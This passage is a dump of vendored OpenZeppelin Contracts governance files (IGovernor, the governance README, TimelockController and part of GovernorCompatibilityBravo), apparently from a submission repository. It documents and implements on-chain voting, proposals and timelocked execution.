*/\n    event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);\n\n    /**\n     * @notice module:core\n     * @dev Name of the governor instance (used in building the ERC712 domain separator).\n     */\n    function name() public view virtual returns (string memory);\n\n    /**\n     * @notice module:core\n     * @dev Version of the governor instance (used in building the ERC712 domain separator). Default: \"1\"\n     */\n    function version() public view virtual returns (string memory);\n\n    /**\n     * @notice module:voting\n     * @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to\n     * be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of\n     * key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.\n     *\n     * There are 2 standard keys: `support` and `quorum`.\n     *\n     * - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.\n     * - `quorum=bravo` means that only For votes are counted towards quorum.\n     * - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.\n     *\n     * NOTE: The string can be decoded by the standard\n     * https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]\n     * JavaScript class.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual returns (string memory);\n\n    /**\n     * @notice module:core\n     * @dev Hashing function used to (re)build the proposal id from the proposal details..\n     */\n    function hashProposal(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata calldatas,\n        bytes32 descriptionHash\n    ) public pure virtual returns (uint256);\n\n    /**\n     * @notice module:core\n     * @dev Current state of a proposal, following Compound's convention\n     */\n    function state(uint256 proposalId) public view virtual returns (ProposalState);\n\n    /**\n     * @notice module:core\n     * @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's\n     * ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the\n     * beginning of the following block.\n     */\n    function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);\n\n    /**\n     * @notice module:core\n     * @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote\n     * during this block.\n     */\n    function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to\n     * leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.\n     */\n    function votingDelay() public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Delay, in number of blocks, between the vote start and vote ends.\n     *\n     * NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting\n     * duration compared to the voting delay.\n     */\n    function votingPeriod() public view virtual returns (uint256);\n\n    /**\n     * @notice module:user-config\n     * @dev Minimum number of cast voted required for a proposal to be successful.\n     *\n     * Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the\n     * quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).\n     */\n    function quorum(uint256 blockNumber) public view virtual returns (uint256);\n\n    /**\n     * @notice module:reputation\n     * @dev Voting power of an `account` at a specific `blockNumber`.\n     *\n     * Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or\n     * multiple), {ERC20Votes} tokens.\n     */\n    function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);\n\n    /**\n     * @notice module:voting\n     * @dev Returns weither `account` has cast a vote on `proposalId`.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);\n\n    /**\n     * @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends\n     * {IGovernor-votingPeriod} blocks after the voting starts.\n     *\n     * Emits a {ProposalCreated} event.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual returns (uint256 proposalId);\n\n    /**\n     * @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the\n     * deadline to be reached.\n     *\n     * Emits a {ProposalExecuted} event.\n     *\n     * Note: some module can modify the requirements for execution, for example by adding an additional timelock.\n     */\n    function execute(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) public payable virtual returns (uint256 proposalId);\n\n    /**\n     * @dev Cast a vote\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);\n\n    /**\n     * @dev Cast a with a reason\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVoteWithReason(\n        uint256 proposalId,\n        uint8 support,\n        string calldata reason\n    ) public virtual returns (uint256 balance);\n\n    /**\n     * @dev Cast a vote using the user cryptographic signature.\n     *\n     * Emits a {VoteCast} event.\n     */\n    function castVoteBySig(\n        uint256 proposalId,\n        uint8 support,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual returns (uint256 balance);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/README.adoc",
    "content": "= Governance\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/governance\n\nThis directory includes primitives for on-chain governance.\n\n== Governor\n\nThis modular system of Governor contracts allows the deployment on-chain voting protocols similar to https://compound.finance/docs/governance[Compound's Governor Alpha & Bravo] and beyond, through the ability to easily customize multiple aspects of the protocol.\n\n[TIP]\n====\nFor a guided experience, set up your Governor contract using https://wizard.openzeppelin.com/#governor[Contracts Wizard].\n\nFor a written walkthrough, check out our guide on xref:ROOT:governance.adoc[How to set up on-chain governance].\n====\n\n* {Governor}: The core contract that contains all the logic and primitives. It is abstract and requires choosing one of each of the modules below, or custom ones.\n\nVotes modules determine the source of voting power, and sometimes quorum number.\n\n* {GovernorVotes}: Extracts voting weight from an {ERC20Votes} token.\n\n* {GovernorVotesComp}: Extracts voting weight from a COMP-like or {ERC20VotesComp} token.\n\n* {GovernorVotesQuorumFraction}: Combines with `GovernorVotes` to set the quorum as a fraction of the total token supply.\n\nCounting modules determine valid voting options.\n\n* {GovernorCountingSimple}: Simple voting mechanism with 3 voting options: Against, For and Abstain.\n\nTimelock extensions add a delay for governance decisions to be executed. The workflow is extended to require a `queue` step before execution. With these modules, proposals are executed by the external timelock contract, thus it is the timelock that has to hold the assets that are being governed.\n\n* {GovernorTimelockControl}: Connects with an instance of {TimelockController}. Allows multiple proposers and executors, in addition to the Governor itself.\n\n* {GovernorTimelockCompound}: Connects with an instance of Compound's https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[`Timelock`] contract.\n\nOther extensions can customize the behavior or interface in multiple ways.\n\n* {GovernorCompatibilityBravo}: Extends the interface to be fully `GovernorBravo`-compatible. Note that events are compatible regardless of whether this extension is included or not.\n\n* {GovernorSettings}: Manages some of the settings (voting delay, voting period duration, and proposal threshold) in a way that can be updated through a governance proposal, without requiering an upgrade.\n\nIn addition to modules and extensions, the core contract requires a few virtual functions to be implemented to your particular specifications:\n\n* <<Governor-votingDelay-,`votingDelay()`>>: Delay (in number of blocks) since the proposal is submitted until voting power is fixed and voting starts. This can be used to enforce a delay after a proposal is published for users to buy tokens, or delegate their votes.\n* <<Governor-votingPeriod-,`votingPeriod()`>>: Delay (in number of blocks) since the proposal starts until voting ends.\n* <<Governor-quorum-uint256-,`quorum(uint256 blockNumber)`>>: Quorum required for a proposal to be successful. This function includes a `blockNumber` argument so the quorum can adapt through time, for example, to follow a token's `totalSupply`.\n\nNOTE: Functions of the `Governor` contract do not include access control. If you want to restrict access, you should add these checks by overloading the particular functions. Among these, {Governor-_cancel} is internal by default, and you will have to expose it (which the right access control mechanism) yourself if this function is needed.\n\n=== Core\n\n{{IGovernor}}\n\n{{Governor}}\n\n=== Modules\n\n{{GovernorCountingSimple}}\n\n{{GovernorVotes}}\n\n{{GovernorVotesQuorumFraction}}\n\n{{GovernorVotesComp}}\n\n=== Extensions\n\n{{GovernorTimelockControl}}\n\n{{GovernorTimelockCompound}}\n\n{{GovernorSettings}}\n\n{{GovernorCompatibilityBravo}}\n\n=== Deprecated\n\n{{GovernorProposalThreshold}}\n\n== Timelock\n\nIn a governance system, the {TimelockController} contract is in charge of introducing a delay between a proposal and its execution. It can be used with or without a {Governor}.\n\n{{TimelockController}}\n\n[[timelock-terminology]]\n==== Terminology\n\n* *Operation:* A transaction (or a set of transactions) that is the subject of the timelock. It has to be scheduled by a proposer and executed by an executor. The timelock enforces a minimum delay between the proposition and the execution (see xref:access-control.adoc#operation_lifecycle[operation lifecycle]). If the operation contains multiple transactions (batch mode), they are executed atomically. Operations are identified by the hash of their content.\n* *Operation status:*\n** *Unset:* An operation that is not part of the timelock mechanism.\n** *Pending:* An operation that has been scheduled, before the timer expires.\n** *Ready:* An operation that has been scheduled, after the timer expires.\n** *Done:* An operation that has been executed.\n* *Predecessor*: An (optional) dependency between operations. An operation can depend on another operation (its predecessor), forcing the execution order of these two operations.\n* *Role*:\n** *Admin:* An address (smart contract or EOA) that is in charge of granting the roles of Proposer and Executor.\n** *Proposer:* An address (smart contract or EOA) that is in charge of scheduling (and cancelling) operations.\n** *Executor:* An address (smart contract or EOA) that is in charge of executing operations once the timelock has expired. This role can be given to the zero address to allow anyone to execute operations.\n\n[[timelock-operation]]\n==== Operation structure\n\nOperation executed by the xref:api:governance.adoc#TimelockController[`TimelockController`] can contain one or multiple subsequent calls. Depending on whether you need to multiple calls to be executed atomically, you can either use simple or batched operations.\n\nBoth operations contain:\n\n* *Target*, the address of the smart contract that the timelock should operate on.\n* *Value*, in wei, that should be sent with the transaction. Most of the time this will be 0. Ether can be deposited before-end or passed along when executing the transaction.\n* *Data*, containing the encoded function selector and parameters of the call. This can be produced using a number of tools. For example, a maintenance operation granting role `ROLE` to `ACCOUNT` can be encode using web3js as follows:\n\n```javascript\nconst data = timelock.contract.methods.grantRole(ROLE, ACCOUNT).encodeABI()\n```\n\n* *Predecessor*, that specifies a dependency between operations. This dependency is optional. Use `bytes32(0)` if the operation does not have any dependency.\n* *Salt*, used to disambiguate two otherwise identical operations. This can be any random value.\n\nIn the case of batched operations, `target`, `value` and `data` are specified as arrays, which must be of the same length.\n\n[[timelock-operation-lifecycle]]\n==== Operation lifecycle\n\nTimelocked operations are identified by a unique id (their hash) and follow a specific lifecycle:\n\n`Unset` -> `Pending` -> `Pending` + `Ready` -> `Done`\n\n* By calling xref:api:governance.adoc#TimelockController-schedule-address-uint256-bytes-bytes32-bytes32-uint256-[`schedule`] (or xref:api:governance.adoc#TimelockController-scheduleBatch-address---uint256---bytes---bytes32-bytes32-uint256-[`scheduleBatch`]), a proposer moves the operation from the `Unset` to the `Pending` state. This starts a timer that must be longer than the minimum delay. The timer expires at a timestamp accessible through the xref:api:governance.adoc#TimelockController-getTimestamp-bytes32-[`getTimestamp`] method.\n* Once the timer expires, the operation automatically gets the `Ready` state. At this point, it can be executed.\n* By calling xref:api:governance.adoc#TimelockController-TimelockController-execute-address-uint256-bytes-bytes32-bytes32-[`execute`] (or xref:api:governance.adoc#TimelockController-executeBatch-address---uint256---bytes---bytes32-bytes32-[`executeBatch`]), an executor triggers the operation's underlying transactions and moves it to the `Done` state. If the operation has a predecessor, it has to be in the `Done` state for this transition to succeed.\n* xref:api:governance.adoc#TimelockController-TimelockController-cancel-bytes32-[`cancel`] allows proposers to cancel any `Pending` operation. This resets the operation to the `Unset` state. It is thus possible for a proposer to re-schedule an operation that has been cancelled. In this case, the timer restarts when the operation is re-scheduled.\n\nOperations status can be queried using the functions:\n\n* xref:api:governance.adoc#TimelockController-isOperationPending-bytes32-[`isOperationPending(bytes32)`]\n* xref:api:governance.adoc#TimelockController-isOperationReady-bytes32-[`isOperationReady(bytes32)`]\n* xref:api:governance.adoc#TimelockController-isOperationDone-bytes32-[`isOperationDone(bytes32)`]\n\n[[timelock-roles]]\n==== Roles\n\n[[timelock-admin]]\n===== Admin\n\nThe admins are in charge of managing proposers and executors. For the timelock to be self-governed, this role should only be given to the timelock itself. Upon deployment, both the timelock and the deployer have this role. After further configuration and testing, the deployer can renounce this role such that all further maintenance operations have to go through the timelock process.\n\nThis role is identified by the *TIMELOCK_ADMIN_ROLE* value: `0x5f58e3a2316349923ce3780f8d587db2d72378aed66a8261c916544fa6846ca5`\n\n[[timelock-proposer]]\n===== Proposer\n\nThe proposers are in charge of scheduling (and cancelling) operations. This is a critical role, that should be given to governing entities. This could be an EOA, a multisig, or a DAO.\n\nWARNING: *Proposer fight:* Having multiple proposers, while providing redundancy in case one becomes unavailable, can be dangerous. As proposer have their say on all operations, they could cancel operations they disagree with, including operations to remove them for the proposers.\n\nThis role is identified by the *PROPOSER_ROLE* value: `0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1`\n\n[[timelock-executor]]\n===== Executor\n\nThe executors are in charge of executing the operations scheduled by the proposers once the timelock expires. Logic dictates that multisig or DAO that are proposers should also be executors in order to guarantee operations that have been scheduled will eventually be executed. However, having additional executors can reduce the cost (the executing transaction does not require validation by the multisig or DAO that proposed it), while ensuring whoever is in charge of execution cannot trigger actions that have not been scheduled by the proposers. Alternatively, it is possible to allow _any_ address to execute a proposal once the timelock has expired by granting the executor role to the zero address.\n\nThis role is identified by the *EXECUTOR_ROLE* value: `0xd8aa0f3194971a2a116679f7c2090f6939c8d4e01a2a8d7e41d55e5351469e63`\n\nWARNING: A live contract without at least one proposer and one executor is locked. Make sure these roles are filled by reliable entities before the deployer renounces its administrative rights in favour of the timelock contract itself. See the {AccessControl} documentation to learn more about role management.\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/TimelockController.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../access/AccessControl.sol\";\n\n/**\n * @dev Contract module which acts as a timelocked controller. When set as the\n * owner of an `Ownable` smart contract, it enforces a timelock on all\n * `onlyOwner` maintenance operations. This gives time for users of the\n * controlled contract to exit before a potentially dangerous maintenance\n * operation is applied.\n *\n * By default, this contract is self administered, meaning administration tasks\n * have to go through the timelock process. The proposer (resp executor) role\n * is in charge of proposing (resp executing) operations. A common use case is\n * to position this {TimelockController} as the owner of a smart contract, with\n * a multisig or a DAO as the sole proposer.\n *\n * _Available since v3.3._\n */\ncontract TimelockController is AccessControl {\n    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256(\"TIMELOCK_ADMIN_ROLE\");\n    bytes32 public constant PROPOSER_ROLE = keccak256(\"PROPOSER_ROLE\");\n    bytes32 public constant EXECUTOR_ROLE = keccak256(\"EXECUTOR_ROLE\");\n    uint256 internal constant _DONE_TIMESTAMP = uint256(1);\n\n    mapping(bytes32 => uint256) private _timestamps;\n    uint256 private _minDelay;\n\n    /**\n     * @dev Emitted when a call is scheduled as part of operation `id`.\n     */\n    event CallScheduled(\n        bytes32 indexed id,\n        uint256 indexed index,\n        address target,\n        uint256 value,\n        bytes data,\n        bytes32 predecessor,\n        uint256 delay\n    );\n\n    /**\n     * @dev Emitted when a call is performed as part of operation `id`.\n     */\n    event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);\n\n    /**\n     * @dev Emitted when operation `id` is cancelled.\n     */\n    event Cancelled(bytes32 indexed id);\n\n    /**\n     * @dev Emitted when the minimum delay for future operations is modified.\n     */\n    event MinDelayChange(uint256 oldDuration, uint256 newDuration);\n\n    /**\n     * @dev Initializes the contract with a given `minDelay`.\n     */\n    constructor(\n        uint256 minDelay,\n        address[] memory proposers,\n        address[] memory executors\n    ) {\n        _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);\n        _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);\n        _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);\n\n        // deployer + self administration\n        _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());\n        _setupRole(TIMELOCK_ADMIN_ROLE, address(this));\n\n        // register proposers\n        for (uint256 i = 0; i < proposers.length; ++i) {\n            _setupRole(PROPOSER_ROLE, proposers[i]);\n        }\n\n        // register executors\n        for (uint256 i = 0; i < executors.length; ++i) {\n            _setupRole(EXECUTOR_ROLE, executors[i]);\n        }\n\n        _minDelay = minDelay;\n        emit MinDelayChange(0, minDelay);\n    }\n\n    /**\n     * @dev Modifier to make a function callable only by a certain role. In\n     * addition to checking the sender's role, `address(0)` 's role is also\n     * considered. Granting a role to `address(0)` is equivalent to enabling\n     * this role for everyone.\n     */\n    modifier onlyRoleOrOpenRole(bytes32 role) {\n        if (!hasRole(role, address(0))) {\n            _checkRole(role, _msgSender());\n        }\n        _;\n    }\n\n    /**\n     * @dev Contract might receive/hold ETH as part of the maintenance process.\n     */\n    receive() external payable {}\n\n    /**\n     * @dev Returns whether an id correspond to a registered operation. This\n     * includes both Pending, Ready and Done operations.\n     */\n    function isOperation(bytes32 id) public view virtual returns (bool pending) {\n        return getTimestamp(id) > 0;\n    }\n\n    /**\n     * @dev Returns whether an operation is pending or not.\n     */\n    function isOperationPending(bytes32 id) public view virtual returns (bool pending) {\n        return getTimestamp(id) > _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Returns whether an operation is ready or not.\n     */\n    function isOperationReady(bytes32 id) public view virtual returns (bool ready) {\n        uint256 timestamp = getTimestamp(id);\n        return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;\n    }\n\n    /**\n     * @dev Returns whether an operation is done or not.\n     */\n    function isOperationDone(bytes32 id) public view virtual returns (bool done) {\n        return getTimestamp(id) == _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Returns the timestamp at with an operation becomes ready (0 for\n     * unset operations, 1 for done operations).\n     */\n    function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {\n        return _timestamps[id];\n    }\n\n    /**\n     * @dev Returns the minimum delay for an operation to become valid.\n     *\n     * This value can be changed by executing an operation that calls `updateDelay`.\n     */\n    function getMinDelay() public view virtual returns (uint256 duration) {\n        return _minDelay;\n    }\n\n    /**\n     * @dev Returns the identifier of an operation containing a single\n     * transaction.\n     */\n    function hashOperation(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public pure virtual returns (bytes32 hash) {\n        return keccak256(abi.encode(target, value, data, predecessor, salt));\n    }\n\n    /**\n     * @dev Returns the identifier of an operation containing a batch of\n     * transactions.\n     */\n    function hashOperationBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public pure virtual returns (bytes32 hash) {\n        return keccak256(abi.encode(targets, values, datas, predecessor, salt));\n    }\n\n    /**\n     * @dev Schedule an operation containing a single transaction.\n     *\n     * Emits a {CallScheduled} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function schedule(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt,\n        uint256 delay\n    ) public virtual onlyRole(PROPOSER_ROLE) {\n        bytes32 id = hashOperation(target, value, data, predecessor, salt);\n        _schedule(id, delay);\n        emit CallScheduled(id, 0, target, value, data, predecessor, delay);\n    }\n\n    /**\n     * @dev Schedule an operation containing a batch of transactions.\n     *\n     * Emits one {CallScheduled} event per transaction in the batch.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function scheduleBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt,\n        uint256 delay\n    ) public virtual onlyRole(PROPOSER_ROLE) {\n        require(targets.length == values.length, \"TimelockController: length mismatch\");\n        require(targets.length == datas.length, \"TimelockController: length mismatch\");\n\n        bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);\n        _schedule(id, delay);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);\n        }\n    }\n\n    /**\n     * @dev Schedule an operation that is to becomes valid after a given delay.\n     */\n    function _schedule(bytes32 id, uint256 delay) private {\n        require(!isOperation(id), \"TimelockController: operation already scheduled\");\n        require(delay >= getMinDelay(), \"TimelockController: insufficient delay\");\n        _timestamps[id] = block.timestamp + delay;\n    }\n\n    /**\n     * @dev Cancel an operation.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'proposer' role.\n     */\n    function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {\n        require(isOperationPending(id), \"TimelockController: operation cannot be cancelled\");\n        delete _timestamps[id];\n\n        emit Cancelled(id);\n    }\n\n    /**\n     * @dev Execute an (ready) operation containing a single transaction.\n     *\n     * Emits a {CallExecuted} event.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'executor' role.\n     */\n    function execute(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n        bytes32 id = hashOperation(target, value, data, predecessor, salt);\n        _beforeCall(id, predecessor);\n        _call(id, 0, target, value, data);\n        _afterCall(id);\n    }\n\n    /**\n     * @dev Execute an (ready) operation containing a batch of transactions.\n     *\n     * Emits one {CallExecuted} event per transaction in the batch.\n     *\n     * Requirements:\n     *\n     * - the caller must have the 'executor' role.\n     */\n    function executeBatch(\n        address[] calldata targets,\n        uint256[] calldata values,\n        bytes[] calldata datas,\n        bytes32 predecessor,\n        bytes32 salt\n    ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n        require(targets.length == values.length, \"TimelockController: length mismatch\");\n        require(targets.length == datas.length, \"TimelockController: length mismatch\");\n\n        bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);\n        _beforeCall(id, predecessor);\n        for (uint256 i = 0; i < targets.length; ++i) {\n            _call(id, i, targets[i], values[i], datas[i]);\n        }\n        _afterCall(id);\n    }\n\n    /**\n     * @dev Checks before execution of an operation's calls.\n     */\n    function _beforeCall(bytes32 id, bytes32 predecessor) private view {\n        require(isOperationReady(id), \"TimelockController: operation is not ready\");\n        require(predecessor == bytes32(0) || isOperationDone(predecessor), \"TimelockController: missing dependency\");\n    }\n\n    /**\n     * @dev Checks after execution of an operation's calls.\n     */\n    function _afterCall(bytes32 id) private {\n        require(isOperationReady(id), \"TimelockController: operation is not ready\");\n        _timestamps[id] = _DONE_TIMESTAMP;\n    }\n\n    /**\n     * @dev Execute an operation's call.\n     *\n     * Emits a {CallExecuted} event.\n     */\n    function _call(\n        bytes32 id,\n        uint256 index,\n        address target,\n        uint256 value,\n        bytes calldata data\n    ) private {\n        (bool success, ) = target.call{value: value}(data);\n        require(success, \"TimelockController: underlying transaction reverted\");\n\n        emit CallExecuted(id, index, target, value, data);\n    }\n\n    /**\n     * @dev Changes the minimum timelock duration for future operations.\n     *\n     * Emits a {MinDelayChange} event.\n     *\n     * Requirements:\n     *\n     * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing\n     * an operation where the timelock is the target and the data is the ABI-encoded call to this function.\n     */\n    function updateDelay(uint256 newDelay) external virtual {\n        require(msg.sender == address(this), \"TimelockController: caller must be timelock\");\n        emit MinDelayChange(_minDelay, newDelay);\n        _minDelay = newDelay;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/governance/compatibility/GovernorCompatibilityBravo.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.4.2) (governance/compatibility/GovernorCompatibilityBravo.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/Counters.sol\";\nimport \"../../utils/math/SafeCast.sol\";\nimport \"../extensions/IGovernorTimelock.sol\";\nimport \"../Governor.sol\";\nimport \"./IGovernorCompatibilityBravo.sol\";\n\n/**\n * @dev Compatibility layer that implements GovernorBravo compatibility on to of {Governor}.\n *\n * This compatibility layer includes a voting system and requires a {IGovernorTimelock} compatible module to be added\n * through inheritance. It does not include token bindings, not does it include any variable upgrade patterns.\n *\n * NOTE: When using this module, you may need to enable the Solidity optimizer to avoid hitting the contract size limit.\n *\n * _Available since v4.3._\n */\nabstract contract GovernorCompatibilityBravo is IGovernorTimelock, IGovernorCompatibilityBravo, Governor {\n    using Counters for Counters.Counter;\n    using Timers for Timers.BlockNumber;\n\n    enum VoteType {\n        Against,\n        For,\n        Abstain\n    }\n\n    struct ProposalDetails {\n        address proposer;\n        address[] targets;\n        uint256[] values;\n        string[] signatures;\n        bytes[] calldatas;\n        uint256 forVotes;\n        uint256 againstVotes;\n        uint256 abstainVotes;\n        mapping(address => Receipt) receipts;\n        bytes32 descriptionHash;\n    }\n\n    mapping(uint256 => ProposalDetails) private _proposalDetails;\n\n    // solhint-disable-next-line func-name-mixedcase\n    function COUNTING_MODE() public pure virtual override returns (string memory) {\n        return \"support=bravo&quorum=bravo\";\n    }\n\n    // ============================================== Proposal lifecycle ==============================================\n    /**\n     * @dev See {IGovernor-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override(IGovernor, Governor) returns (uint256) {\n        _storeProposal(_msgSender(), targets, values, new string[](calldatas.length), calldatas, description);\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-propose}.\n     */\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) public virtual override returns (uint256) {\n        _storeProposal(_msgSender(), targets, values, signatures, calldatas, description);\n        return propose(targets, values, _encodeCalldata(signatures, calldatas), description);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-queue}.\n     */\n    function queue(uint256 proposalId) public virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        queue(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-execute}.\n     */\n    function execute(uint256 proposalId) public payable virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        execute(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    function cancel(uint256 proposalId) public virtual override {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n\n        require(\n            _msgSender() == details.proposer || getVotes(details.proposer, block.number - 1) < proposalThreshold(),\n            \"GovernorBravo: proposer above threshold\"\n        );\n\n        _cancel(\n            details.targets,\n            details.values,\n            _encodeCalldata(details.signatures, details.calldatas),\n            details.descriptionHash\n        );\n    }\n\n    /**\n     * @dev Encodes calldatas with optional function signature.\n     */\n    function _encodeCalldata(string[] memory signatures, bytes[] memory calldatas)\n        private\n        pure\n        returns (bytes[] memory)\n    {\n        bytes[] memory fullcalldatas = new bytes[](calldatas.length);\n\n        for (uint256 i = 0; i < signatures.length; ++i) {\n            fullcalldatas[i] = bytes(signatures[i]).length == 0\n                ? calldatas[i]\n                : abi.encodePacked(bytes4(keccak256(bytes(signatures[i]))), calldatas[i]);\n        }\n\n        return fullcalldatas;\n    }\n\n    /**\n     * @dev Store proposal metadata for later lookup\n     */\n    function _storeProposal(\n        address proposer,\n        address[] memory targets,\n        uint256[] memory values,\n        string[] memory signatures,\n        bytes[] memory calldatas,\n        string memory description\n    ) private {\n        bytes32 descriptionHash = keccak256(bytes(description));\n        uint256 proposalId = hashProposal(targets, values, _encodeCalldata(signatures, calldatas), descriptionHash);\n\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        if (details.descriptionHash == bytes32(0)) {\n            details.proposer = proposer;\n            details.targets = targets;\n            details.values = values;\n            details.signatures = signatures;\n            details.calldatas = calldatas;\n            details.descriptionHash = descriptionHash;\n        }\n    }\n\n    // ==================================================== Views =====================================================\n    /**\n     * @dev See {IGovernorCompatibilityBravo-proposals}.\n     */\n    function proposals(uint256 proposalId)\n        public\n        view\n        virtual\n        override\n        returns (\n            uint256 id,\n            address proposer,\n            uint256 eta,\n            uint256 startBlock,\n            uint256 endBlock,\n            uint256 forVotes,\n            uint256 againstVotes,\n            uint256 abstainVotes,\n            bool canceled,\n            bool executed\n        )\n    {\n        id = proposalId;\n        eta = proposalEta(proposalId);\n        startBlock = proposalSnapshot(proposalId);\n        endBlock = proposalDeadline(proposalId);\n\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        proposer = details.proposer;\n        forVotes = details.forVotes;\n        againstVotes = details.againstVotes;\n        abstainVotes = details.abstainVotes;\n\n        ProposalState status = state(proposalId);\n        canceled = status == ProposalState.Canceled;\n        executed = status == ProposalState.Executed;\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-getActions}.\n     */\n    function getActions(uint256 proposalId)\n        public\n        view\n        virtual\n        override\n        returns (\n            address[] memory targets,\n            uint256[] memory values,\n            string[] memory signatures,\n            bytes[] memory calldatas\n        )\n    {\n        ProposalDetails storage details = _proposalDetails[proposalId];\n        return (details.targets, details.values, details.signatures, details.calldatas);\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-getReceipt}.\n     */\n    function getReceipt(uint256 proposalId, address voter) public view virtual override returns (Receipt memory) {\n        return _proposalDetails[proposalId].receipts[voter];\n    }\n\n    /**\n     * @dev See {IGovernorCompatibilityBravo-quorumVotes}.\n     */\n    function quorumVotes() public view virtual override returns (uint256) {\n        return quorum(block.number - 1);\n    }\n\n    // ==================================================== Voting ====================================================\n    /**\n     * @dev See {IGovernor-hasVoted}.\n     */\n    function hasVoted(uint256 proposalId, address account) public view virtual override returns (bool) {\n        return 